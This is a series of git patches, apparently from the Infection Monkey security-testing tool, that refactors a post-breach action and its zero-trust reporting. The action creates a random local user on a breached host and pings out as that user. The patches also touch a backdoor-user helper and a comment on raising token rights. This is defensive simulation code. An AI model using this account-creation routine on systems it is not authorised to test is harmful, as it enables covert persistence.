CommunicateAsNewUser(PBA): # https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/ns-processthreadsapi-startupinfoa ) - ping_exit_code = win32process.GetExitCodeProcess(process_info[0]) + ping_exit_code = win32process.GetExitCodeProcess(process_handle) counter = 0 while ping_exit_code == win32con.STILL_ACTIVE and counter < PING_WAIT_TIMEOUT_IN_SECONDS: - ping_exit_code = win32process.GetExitCodeProcess(process_info[0]) + ping_exit_code = win32process.GetExitCodeProcess(process_handle) counter += 1 - logger.debug("Waiting for ping to finish, round {}. Exit code: {}".format(counter, ping_exit_code)) + logger.debug("Waiting for ping to finish, round {}. Exit code: {}".format( + counter, + ping_exit_code)) time.sleep(1) self.send_ping_result_telemetry(ping_exit_code, commandline, username) - win32api.CloseHandle(process_info[0]) # Process handle - win32api.CloseHandle(process_info[1]) # Thread handle + win32api.CloseHandle(process_handle) # Process handle + win32api.CloseHandle(thread_handle) # Thread handle except Exception as e: # TODO: if failed on 1314, we can try to add elevate the rights of the current user with the From bc94e5854a67f8565c249de5a66bcd16fd26e325 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 16 Sep 2019 14:54:02 +0300 Subject: [PATCH 263/276] Moved handle close to finally block --- .../post_breach/actions/communicate_as_new_user.py | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) diff --git a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py index 770e96b7d..1b577e5d8 100644 --- a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py +++ b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py @@ -106,10 +106,6 @@ class CommunicateAsNewUser(PBA): time.sleep(1) self.send_ping_result_telemetry(ping_exit_code, commandline, username) - - win32api.CloseHandle(process_handle) # Process handle - win32api.CloseHandle(thread_handle) # Thread handle - except Exception as e: # TODO: if failed on 1314, we can try to add elevate the rights of the current user with the # "Replace a process level token" right, using Local Security Policy editing. Worked, but only @@ -118,6 +114,12 @@ class CommunicateAsNewUser(PBA): # 2. need to find how to do this using python... PostBreachTelem(self, ( "Failed to open process as user {}. Error: {}".format(username, str(e)), False)).send() + finally: + try: + win32api.CloseHandle(process_handle) + win32api.CloseHandle(thread_handle) + except Exception as err: + logger.error("Close handle error: " + str(err)) except subprocess.CalledProcessError as err: PostBreachTelem(self, ( "Couldn't create the user '{}'. Error output is: '{}'".format(username, str(err)), From bb8a5bf55d1e19d6e6fe4b31ff13dedb27a6890d Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 16 Sep 2019 14:56:34 +0300 Subject: [PATCH 264/276] Deleted TODO --- .../post_breach/actions/communicate_as_new_user.py | 7 ++----- 1 file changed, 2 insertions(+), 5 deletions(-) diff --git a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py index 1b577e5d8..5b5117681 100644 --- a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py +++ b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py @@ -107,11 +107,8 @@ class CommunicateAsNewUser(PBA): self.send_ping_result_telemetry(ping_exit_code, commandline, username) except Exception as e: - # TODO: if failed on 1314, we can try to add elevate the rights of the current user with the - # "Replace a process level token" right, using Local Security Policy editing. Worked, but only - # after reboot. So: - # 1. need to decide if worth it, and then - # 2. need to find how to do this using python... + # If failed on 1314, it's possible to try to elevate the rights of the current user with the + # "Replace a process level token" right, using Local Security Policy editing. PostBreachTelem(self, ( "Failed to open process as user {}. Error: {}".format(username, str(e)), False)).send() finally: From 4330a397255e23dec83dae5d8f79660d5769898b Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 16 Sep 2019 14:59:27 +0300 Subject: [PATCH 265/276] Removed unused PBA processing funcs --- .../post_breach/actions/communicate_as_new_user.py | 2 +- .../cc/services/telemetry/processing/post_breach.py | 5 +---- 2 files changed, 2 insertions(+), 5 deletions(-) diff --git a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py index 5b5117681..1c5dfcf45 100644 --- a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py +++ b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py @@ -108,7 +108,7 @@ class CommunicateAsNewUser(PBA): self.send_ping_result_telemetry(ping_exit_code, commandline, username) except Exception as e: # If failed on 1314, it's possible to try to elevate the rights of the current user with the - # "Replace a process level token" right, using Local Security Policy editing. + # "Replace a process level token" right, using Local Security Policy editing. PostBreachTelem(self, ( "Failed to open process as user {}. Error: {}".format(username, str(e)), False)).send() finally: diff --git a/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py b/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py index c67f64f59..c64849905 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py @@ -6,16 +6,13 @@ from monkey_island.cc.services.telemetry.zero_trust_tests.communicate_as_new_use def process_communicate_as_new_user_telemetry(telemetry_json): current_monkey = Monkey.get_single_monkey_by_guid(telemetry_json['monkey_guid']) - success = telemetry_json['data']['result'][1] message = telemetry_json['data']['result'][0] + success = telemetry_json['data']['result'][1] test_new_user_communication(current_monkey, success, message) POST_BREACH_TELEMETRY_PROCESSING_FUNCS = { POST_BREACH_COMMUNICATE_AS_NEW_USER: process_communicate_as_new_user_telemetry, - # `lambda *args, **kwargs: None` is a no-op. - POST_BREACH_BACKDOOR_USER: lambda *args, **kwargs: None, - POST_BREACH_FILE_EXECUTION: lambda *args, **kwargs: None, } From dd9a4b2d101b1dcd7a7282c55f4bd6e7a35a57b8 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 16 Sep 2019 15:04:22 +0300 Subject: [PATCH 266/276] Refactored test_new_user_communication, mostly separated to functions --- .../communicate_as_new_user.py | 46 ++++++++++--------- 1 file changed, 25 insertions(+), 21 deletions(-) diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/communicate_as_new_user.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/communicate_as_new_user.py index 564ce4d20..0c36b7b94 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/communicate_as_new_user.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/communicate_as_new_user.py @@ -5,31 +5,35 @@ from monkey_island.cc.models.zero_trust.event import Event def test_new_user_communication(current_monkey, success, message): + AggregateFinding.create_or_add_to_existing( + test=TEST_COMMUNICATE_AS_NEW_USER, + status=STATUS_PASSED if success else STATUS_FAILED, + events=[ + get_attempt_event(current_monkey), + get_result_event(current_monkey, message, success) + ] + ) + + +def get_attempt_event(current_monkey): tried_to_communicate_event = Event.create_event( title="Communicate as new user", message="Monkey on {} tried to create a new user and communicate from it.".format(current_monkey.hostname), event_type=EVENT_TYPE_MONKEY_NETWORK) - events = [tried_to_communicate_event] + return tried_to_communicate_event + +def get_result_event(current_monkey, message, success): if success: - events.append( - Event.create_event( - title="Communicate as new user", - message="New user created by Monkey on {} successfully tried to communicate with the internet. " - "Details: {}".format(current_monkey.hostname, message), - event_type=EVENT_TYPE_MONKEY_NETWORK) - ) - test_status = STATUS_FAILED + event_to_append = Event.create_event( + title="Communicate as new user", + message="New user created by Monkey on {} successfully tried to communicate with the internet. " + "Details: {}".format(current_monkey.hostname, message), + event_type=EVENT_TYPE_MONKEY_NETWORK) else: - events.append( - Event.create_event( - title="Communicate as new user", - message="Monkey on {} couldn't communicate as new user. Details: {}".format( - current_monkey.hostname, message), - event_type=EVENT_TYPE_MONKEY_NETWORK) - ) - test_status = STATUS_PASSED - - AggregateFinding.create_or_add_to_existing( - test=TEST_COMMUNICATE_AS_NEW_USER, status=test_status, events=events - ) + event_to_append = Event.create_event( + title="Communicate as new user", + message="Monkey on {} couldn't communicate as new user. Details: {}".format( + current_monkey.hostname, message), + event_type=EVENT_TYPE_MONKEY_NETWORK) + return event_to_append From 76c642e4b334ed49fc1e372481a32ca32804d841 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 16 Sep 2019 15:08:22 +0300 Subject: [PATCH 267/276] Lowered code dup in get_result_event --- .../communicate_as_new_user.py | 23 ++++++++----------- 1 file changed, 10 insertions(+), 13 deletions(-) diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/communicate_as_new_user.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/communicate_as_new_user.py index 0c36b7b94..a48c3598a 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/communicate_as_new_user.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/communicate_as_new_user.py @@ -3,6 +3,10 @@ from common.data.zero_trust_consts import EVENT_TYPE_MONKEY_NETWORK, STATUS_FAIL from monkey_island.cc.models.zero_trust.aggregate_finding import AggregateFinding from monkey_island.cc.models.zero_trust.event import Event +COMM_AS_NEW_USER_FAILED_FORMAT = "Monkey on {} couldn't communicate as new user. Details: {}" +COMM_AS_NEW_USER_SUCCEEDED_FORMAT = \ + "New user created by Monkey on {} successfully tried to communicate with the internet. Details: {}" + def test_new_user_communication(current_monkey, success, message): AggregateFinding.create_or_add_to_existing( @@ -24,16 +28,9 @@ def get_attempt_event(current_monkey): def get_result_event(current_monkey, message, success): - if success: - event_to_append = Event.create_event( - title="Communicate as new user", - message="New user created by Monkey on {} successfully tried to communicate with the internet. " - "Details: {}".format(current_monkey.hostname, message), - event_type=EVENT_TYPE_MONKEY_NETWORK) - else: - event_to_append = Event.create_event( - title="Communicate as new user", - message="Monkey on {} couldn't communicate as new user. Details: {}".format( - current_monkey.hostname, message), - event_type=EVENT_TYPE_MONKEY_NETWORK) - return event_to_append + message_format = COMM_AS_NEW_USER_SUCCEEDED_FORMAT if success else COMM_AS_NEW_USER_FAILED_FORMAT + + return Event.create_event( + title="Communicate as new user", + message=message_format.format(current_monkey.hostname, message), + event_type=EVENT_TYPE_MONKEY_NETWORK) From 0a11c4b0076d6b70ef670cd3f5612281589317b8 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 16 Sep 2019 16:17:30 +0300 Subject: [PATCH 268/276] Extracted duplicate code to `add_malicious_activity_to_timeline` helper function --- .../cc/models/zero_trust/aggregate_finding.py | 9 +++++++++ .../cc/models/zero_trust/test_aggregate_finding.py | 4 ++-- .../telemetry/zero_trust_tests/data_endpoints.py | 8 ++------ .../telemetry/zero_trust_tests/machine_exploited.py | 8 ++------ .../services/telemetry/zero_trust_tests/tunneling.py | 12 ++++-------- 5 files changed, 19 insertions(+), 22 deletions(-) diff --git a/monkey/monkey_island/cc/models/zero_trust/aggregate_finding.py b/monkey/monkey_island/cc/models/zero_trust/aggregate_finding.py index 613b9a4a2..c3ed52649 100644 --- a/monkey/monkey_island/cc/models/zero_trust/aggregate_finding.py +++ b/monkey/monkey_island/cc/models/zero_trust/aggregate_finding.py @@ -1,3 +1,4 @@ +from common.data.zero_trust_consts import TEST_MALICIOUS_ACTIVITY_TIMELINE, STATUS_VERIFY from monkey_island.cc.models.zero_trust.finding import Finding @@ -21,3 +22,11 @@ class AggregateFinding(Finding): orig_finding = existing_findings[0] orig_finding.add_events(events) orig_finding.save() + + +def add_malicious_activity_to_timeline(events): + AggregateFinding.create_or_add_to_existing( + test=TEST_MALICIOUS_ACTIVITY_TIMELINE, + status=STATUS_VERIFY, + events=events + ) diff --git a/monkey/monkey_island/cc/models/zero_trust/test_aggregate_finding.py b/monkey/monkey_island/cc/models/zero_trust/test_aggregate_finding.py index 4a67a21b7..c1a94166f 100644 --- a/monkey/monkey_island/cc/models/zero_trust/test_aggregate_finding.py +++ b/monkey/monkey_island/cc/models/zero_trust/test_aggregate_finding.py @@ -12,7 +12,7 @@ class TestAggregateFinding(IslandTestCase): test = TEST_MALICIOUS_ACTIVITY_TIMELINE status = STATUS_VERIFY - events = [Event.create_event("t", "t", EVENT_TYPE_ISLAND)] + events = [Event.create_event("t", "t", EVENT_TYPE_MONKEY_NETWORK)] self.assertEquals(len(Finding.objects(test=test, status=status)), 0) AggregateFinding.create_or_add_to_existing(test, status, events) @@ -31,7 +31,7 @@ class TestAggregateFinding(IslandTestCase): test = TEST_MALICIOUS_ACTIVITY_TIMELINE status = STATUS_VERIFY - event = Event.create_event("t", "t", EVENT_TYPE_ISLAND) + event = Event.create_event("t", "t", EVENT_TYPE_MONKEY_NETWORK) events = [event] self.assertEquals(len(Finding.objects(test=test, status=status)), 0) diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/data_endpoints.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/data_endpoints.py index 7b45b1dee..68a7f713d 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/data_endpoints.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/data_endpoints.py @@ -3,7 +3,7 @@ import json from common.data.network_consts import ES_SERVICE from common.data.zero_trust_consts import * from monkey_island.cc.models import Monkey -from monkey_island.cc.models.zero_trust.aggregate_finding import AggregateFinding +from monkey_island.cc.models.zero_trust.aggregate_finding import AggregateFinding, add_malicious_activity_to_timeline from monkey_island.cc.models.zero_trust.event import Event HTTP_SERVERS_SERVICES_NAMES = ['tcp-80'] @@ -67,8 +67,4 @@ def test_open_data_endpoints(telemetry_json): events=events ) - AggregateFinding.create_or_add_to_existing( - test=TEST_MALICIOUS_ACTIVITY_TIMELINE, - status=STATUS_VERIFY, - events=events - ) + add_malicious_activity_to_timeline(events) diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py index 8198b5a3e..454f3a7fe 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py @@ -1,6 +1,6 @@ from common.data.zero_trust_consts import * from monkey_island.cc.models import Monkey -from monkey_island.cc.models.zero_trust.aggregate_finding import AggregateFinding +from monkey_island.cc.models.zero_trust.aggregate_finding import AggregateFinding, add_malicious_activity_to_timeline from monkey_island.cc.models.zero_trust.event import Event @@ -36,8 +36,4 @@ def test_machine_exploited(current_monkey, exploit_successful, exploiter, target events=events ) - AggregateFinding.create_or_add_to_existing( - test=TEST_MALICIOUS_ACTIVITY_TIMELINE, - status=STATUS_VERIFY, - events=events - ) + add_malicious_activity_to_timeline(events) diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/tunneling.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/tunneling.py index ba55fc575..ce34c2bb4 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/tunneling.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/tunneling.py @@ -1,7 +1,6 @@ -from common.data.zero_trust_consts import TEST_TUNNELING, STATUS_FAILED, EVENT_TYPE_MONKEY_NETWORK, STATUS_VERIFY, \ - TEST_MALICIOUS_ACTIVITY_TIMELINE +from common.data.zero_trust_consts import TEST_TUNNELING, STATUS_FAILED, EVENT_TYPE_MONKEY_NETWORK from monkey_island.cc.models import Monkey -from monkey_island.cc.models.zero_trust.aggregate_finding import AggregateFinding +from monkey_island.cc.models.zero_trust.aggregate_finding import AggregateFinding, add_malicious_activity_to_timeline from monkey_island.cc.models.zero_trust.event import Event from monkey_island.cc.services.telemetry.processing.utils import get_tunnel_host_ip_from_proxy_field @@ -18,14 +17,11 @@ def test_tunneling_violation(tunnel_telemetry_json): event_type=EVENT_TYPE_MONKEY_NETWORK, timestamp=tunnel_telemetry_json['timestamp'] )] + AggregateFinding.create_or_add_to_existing( test=TEST_TUNNELING, status=STATUS_FAILED, events=tunneling_events ) - AggregateFinding.create_or_add_to_existing( - test=TEST_MALICIOUS_ACTIVITY_TIMELINE, - status=STATUS_VERIFY, - events=tunneling_events - ) + add_malicious_activity_to_timeline(tunneling_events) From 3b06768a98925ba69e3d4f3be2ec1eb24600657d Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 16 Sep 2019 16:32:21 +0300 Subject: [PATCH 269/276] Replaced sleep loop for waiting on the process with WaitForSingleObject winapi. --- .../actions/communicate_as_new_user.py | 28 +++++++++++++------ 1 file changed, 19 insertions(+), 9 deletions(-) diff --git a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py index 1c5dfcf45..cf49dc349 100644 --- a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py +++ b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py @@ -5,6 +5,8 @@ import string import subprocess import time +import win32event + from infection_monkey.utils.windows.auto_new_user import AutoNewUser, NewUserError from common.data.post_breach_consts import POST_BREACH_COMMUNICATE_AS_NEW_USER from infection_monkey.post_breach.pba import PBA @@ -14,7 +16,7 @@ from infection_monkey.utils.linux.users import get_linux_commands_to_delete_user PING_TEST_DOMAIN = "google.com" -PING_WAIT_TIMEOUT_IN_SECONDS = 20 +PING_WAIT_TIMEOUT_IN_MILLISECONDS = 20 * 1000 CREATED_PROCESS_AS_USER_PING_SUCCESS_FORMAT = "Created process '{}' as user '{}', and successfully pinged." CREATED_PROCESS_AS_USER_PING_FAILED_FORMAT = "Created process '{}' as user '{}', but failed to ping (exit status {})." @@ -95,15 +97,16 @@ class CommunicateAsNewUser(PBA): # https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/ns-processthreadsapi-startupinfoa ) + logger.debug( + "Waiting for ping process to finish. Timeout: {}ms".format(PING_WAIT_TIMEOUT_IN_MILLISECONDS)) + + # Ignoring return code, as we'll use `GetExitCode` to determine the state of the process later. + _ = win32event.WaitForSingleObject( # Waits until the specified object is signaled, or time-out. + process_handle, # Ping process handle + PING_WAIT_TIMEOUT_IN_MILLISECONDS # Timeout in milliseconds + ) + ping_exit_code = win32process.GetExitCodeProcess(process_handle) - counter = 0 - while ping_exit_code == win32con.STILL_ACTIVE and counter < PING_WAIT_TIMEOUT_IN_SECONDS: - ping_exit_code = win32process.GetExitCodeProcess(process_handle) - counter += 1 - logger.debug("Waiting for ping to finish, round {}. Exit code: {}".format( - counter, - ping_exit_code)) - time.sleep(1) self.send_ping_result_telemetry(ping_exit_code, commandline, username) except Exception as e: @@ -125,6 +128,13 @@ class CommunicateAsNewUser(PBA): PostBreachTelem(self, (str(e), False)).send() def send_ping_result_telemetry(self, exit_status, commandline, username): + """ + Parses the result of ping and sends telemetry accordingly. + + :param exit_status: In both Windows and Linux, 0 exit code from Ping indicates success. + :param commandline: Exact commandline which was executed, for reporting back. + :param username: Username from which the command was executed, for reporting back. + """ if exit_status == 0: PostBreachTelem(self, ( CREATED_PROCESS_AS_USER_PING_SUCCESS_FORMAT.format(commandline, username), True)).send() From 1f56e8df61566056b0254a513e7509d6bbbe9fa8 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 16 Sep 2019 16:34:13 +0300 Subject: [PATCH 270/276] Use classname instead of self for static method --- .../post_breach/actions/communicate_as_new_user.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py index cf49dc349..4522def4f 100644 --- a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py +++ b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py @@ -37,7 +37,7 @@ class CommunicateAsNewUser(PBA): super(CommunicateAsNewUser, self).__init__(name=POST_BREACH_COMMUNICATE_AS_NEW_USER) def run(self): - username = self.get_random_new_user_name() + username = CommunicateAsNewUser.get_random_new_user_name() if is_windows_os(): self.communicate_as_new_user_windows(username) else: From d4947d97f3eb1bcd0524ac829d98b1b9dbadb556 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 16 Sep 2019 16:37:30 +0300 Subject: [PATCH 271/276] Lock npm version for `pluralize` --- monkey/monkey_island/cc/ui/package.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/ui/package.json b/monkey/monkey_island/cc/ui/package.json index 983366c6e..4da085836 100644 --- a/monkey/monkey_island/cc/ui/package.json +++ b/monkey/monkey_island/cc/ui/package.json @@ -105,6 +105,6 @@ "redux": "^4.0.0", "sass-loader": "^7.1.0", "sha3": "^2.0.0", - "pluralize": "latest" + "pluralize": "^7.0.0" } } From 9f98025d3356bec9b4324a6af3cefcd635c21040 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 16 Sep 2019 16:44:16 +0300 Subject: [PATCH 272/276] Using protocol as well for cases when we are running on HTTP and not HTTPS (npm run start for example) --- monkey/monkey_island/cc/server_config.json | 2 +- monkey/monkey_island/cc/ui/src/components/Main.js | 3 ++- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/server_config.json b/monkey/monkey_island/cc/server_config.json index 420f1b303..7bf106194 100644 --- a/monkey/monkey_island/cc/server_config.json +++ b/monkey/monkey_island/cc/server_config.json @@ -1,4 +1,4 @@ { - "server_config": "standard", + "server_config": "testing", "deployment": "develop" } diff --git a/monkey/monkey_island/cc/ui/src/components/Main.js b/monkey/monkey_island/cc/ui/src/components/Main.js index 9fd3d8f1c..09038292e 100644 --- a/monkey/monkey_island/cc/ui/src/components/Main.js +++ b/monkey/monkey_island/cc/ui/src/components/Main.js @@ -215,7 +215,8 @@ class AppComponent extends AuthComponent { if (this.shouldShowNotification()) { const hostname = window.location.hostname; const port = window.location.port; - const url = `https://${hostname}:${port}${reportZeroTrustRoute}`; + const protocol = window.location.protocol; + const url = `${protocol}//${hostname}:${port}${reportZeroTrustRoute}`; Notifier.start( "Monkey Island", From 841e54afc883a9260c7f5420590eed9337169ae5 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 16 Sep 2019 17:41:26 +0300 Subject: [PATCH 273/276] Fixed UTs --- .../reporting/test_zero_trust_service.py | 85 +++++++++++++++---- 1 file changed, 69 insertions(+), 16 deletions(-) diff --git a/monkey/monkey_island/cc/services/reporting/test_zero_trust_service.py b/monkey/monkey_island/cc/services/reporting/test_zero_trust_service.py index 5d84a9cb0..46b4fefd7 100644 --- a/monkey/monkey_island/cc/services/reporting/test_zero_trust_service.py +++ b/monkey/monkey_island/cc/services/reporting/test_zero_trust_service.py @@ -54,14 +54,14 @@ class TestZeroTrustService(IslandTestCase): STATUS_FAILED: 0, STATUS_VERIFY: 2, STATUS_PASSED: 0, - STATUS_UNEXECUTED: 0, + STATUS_UNEXECUTED: 1, "pillar": "People" }, { STATUS_FAILED: 0, STATUS_VERIFY: 2, STATUS_PASSED: 0, - STATUS_UNEXECUTED: 2, + STATUS_UNEXECUTED: 4, "pillar": "Networks" }, { @@ -82,7 +82,7 @@ class TestZeroTrustService(IslandTestCase): STATUS_FAILED: 0, STATUS_VERIFY: 0, STATUS_PASSED: 0, - STATUS_UNEXECUTED: 1, + STATUS_UNEXECUTED: 3, "pillar": "Visibility & Analytics" }, { @@ -102,6 +102,8 @@ class TestZeroTrustService(IslandTestCase): self.fail_if_not_testing_env() self.clean_finding_db() + self.maxDiff = None + save_example_findings() expected = { @@ -111,14 +113,14 @@ class TestZeroTrustService(IslandTestCase): "principle": PRINCIPLES[PRINCIPLE_DATA_TRANSIT], "status": STATUS_FAILED, "tests": [ + { + "status": STATUS_FAILED, + "test": TESTS_MAP[TEST_DATA_ENDPOINT_HTTP][TEST_EXPLANATION_KEY] + }, { "status": STATUS_UNEXECUTED, "test": TESTS_MAP[TEST_DATA_ENDPOINT_ELASTIC][TEST_EXPLANATION_KEY] }, - { - "status": STATUS_FAILED, - "test": TESTS_MAP[TEST_DATA_ENDPOINT_HTTP][TEST_EXPLANATION_KEY] - } ] } ], @@ -127,14 +129,14 @@ class TestZeroTrustService(IslandTestCase): "principle": PRINCIPLES[PRINCIPLE_ENDPOINT_SECURITY], "status": STATUS_FAILED, "tests": [ + { + "status": STATUS_UNEXECUTED, + "test": TESTS_MAP[TEST_MACHINE_EXPLOITED][TEST_EXPLANATION_KEY] + }, { "status": STATUS_FAILED, "test": TESTS_MAP[TEST_ENDPOINT_SECURITY_EXISTS][TEST_EXPLANATION_KEY] }, - { - "status": STATUS_UNEXECUTED, - "test": TESTS_MAP[TEST_MACHINE_EXPLOITED][TEST_EXPLANATION_KEY] - } ] } ], @@ -159,6 +161,16 @@ class TestZeroTrustService(IslandTestCase): } ] }, + { + "principle": PRINCIPLES[PRINCIPLE_USERS_MAC_POLICIES], + "status": STATUS_UNEXECUTED, + "tests": [ + { + "status": STATUS_UNEXECUTED, + "test": TESTS_MAP[TEST_COMMUNICATE_AS_NEW_USER][TEST_EXPLANATION_KEY] + } + ] + }, { "principle": PRINCIPLES[PRINCIPLE_ANALYZE_NETWORK_TRAFFIC], "status": STATUS_UNEXECUTED, @@ -168,7 +180,17 @@ class TestZeroTrustService(IslandTestCase): "test": TESTS_MAP[TEST_MALICIOUS_ACTIVITY_TIMELINE][TEST_EXPLANATION_KEY] } ] - } + }, + { + "principle": PRINCIPLES[PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES], + "status": STATUS_UNEXECUTED, + "tests": [ + { + "status": STATUS_UNEXECUTED, + "test": TESTS_MAP[TEST_TUNNELING][TEST_EXPLANATION_KEY] + } + ] + }, ], PEOPLE: [ { @@ -180,9 +202,29 @@ class TestZeroTrustService(IslandTestCase): "test": TESTS_MAP[TEST_SCHEDULED_EXECUTION][TEST_EXPLANATION_KEY] } ] + }, + { + "principle": PRINCIPLES[PRINCIPLE_USERS_MAC_POLICIES], + "status": STATUS_UNEXECUTED, + "tests": [ + { + "status": STATUS_UNEXECUTED, + "test": TESTS_MAP[TEST_COMMUNICATE_AS_NEW_USER][TEST_EXPLANATION_KEY] + } + ] } ], - "Visibility & Analytics": [ + VISIBILITY_ANALYTICS: [ + { + "principle": PRINCIPLES[PRINCIPLE_USERS_MAC_POLICIES], + "status": STATUS_UNEXECUTED, + "tests": [ + { + "status": STATUS_UNEXECUTED, + "test": TESTS_MAP[TEST_COMMUNICATE_AS_NEW_USER][TEST_EXPLANATION_KEY] + } + ] + }, { "principle": PRINCIPLES[PRINCIPLE_ANALYZE_NETWORK_TRAFFIC], "status": STATUS_UNEXECUTED, @@ -192,12 +234,23 @@ class TestZeroTrustService(IslandTestCase): "test": TESTS_MAP[TEST_MALICIOUS_ACTIVITY_TIMELINE][TEST_EXPLANATION_KEY] } ] - } + }, + { + "principle": PRINCIPLES[PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES], + "status": STATUS_UNEXECUTED, + "tests": [ + { + "status": STATUS_UNEXECUTED, + "test": TESTS_MAP[TEST_TUNNELING][TEST_EXPLANATION_KEY] + } + ] + }, ], - "Workloads": [] + WORKLOADS: [] } - self.assertEquals(ZeroTrustService.get_principles_status(), expected) + result = ZeroTrustService.get_principles_status() + self.assertEquals(result, expected) def test_get_pillars_to_statuses(self): self.fail_if_not_testing_env() From db328a3432ff8b51b72a0b467e8163d37312ac0b Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 16 Sep 2019 17:42:21 +0300 Subject: [PATCH 274/276] Accidentaly committed server config testing :-1: --- monkey/monkey_island/cc/server_config.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/server_config.json b/monkey/monkey_island/cc/server_config.json index 7bf106194..420f1b303 100644 --- a/monkey/monkey_island/cc/server_config.json +++ b/monkey/monkey_island/cc/server_config.json @@ -1,4 +1,4 @@ { - "server_config": "testing", + "server_config": "standard", "deployment": "develop" } From 0667aad87fd2a1b2615e2f64d12c2ea15b496a03 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 16 Sep 2019 17:57:35 +0300 Subject: [PATCH 275/276] Small fixes - reversed condition accidentaly and missed one reference to get_windows_commands_to_add_user --- .../post_breach/actions/communicate_as_new_user.py | 2 +- monkey/infection_monkey/utils/windows/auto_new_user.py | 4 ++-- .../telemetry/zero_trust_tests/communicate_as_new_user.py | 3 ++- 3 files changed, 5 insertions(+), 4 deletions(-) diff --git a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py index 4522def4f..296179d41 100644 --- a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py +++ b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py @@ -45,7 +45,7 @@ class CommunicateAsNewUser(PBA): @staticmethod def get_random_new_user_name(): - return USERNAME + "_" + ''.join(random.choice(string.ascii_lowercase) for _ in range(5)) + return USERNAME + ''.join(random.choice(string.ascii_lowercase) for _ in range(5)) def communicate_as_new_user_linux(self, username): try: diff --git a/monkey/infection_monkey/utils/windows/auto_new_user.py b/monkey/infection_monkey/utils/windows/auto_new_user.py index 5cf840ad1..d95ac0bf0 100644 --- a/monkey/infection_monkey/utils/windows/auto_new_user.py +++ b/monkey/infection_monkey/utils/windows/auto_new_user.py @@ -2,7 +2,7 @@ import logging import subprocess from infection_monkey.post_breach.actions.add_user import BackdoorUser -from infection_monkey.utils.windows.users import get_windows_commands_to_delete_user +from infection_monkey.utils.windows.users import get_windows_commands_to_delete_user, get_windows_commands_to_add_user logger = logging.getLogger(__name__) @@ -34,7 +34,7 @@ class AutoNewUser(object): self.username = username self.password = password - windows_cmds = BackdoorUser.get_windows_commands_to_add_user(self.username, self.password, True) + windows_cmds = get_windows_commands_to_add_user(self.username, self.password, True) _ = subprocess.check_output(windows_cmds, 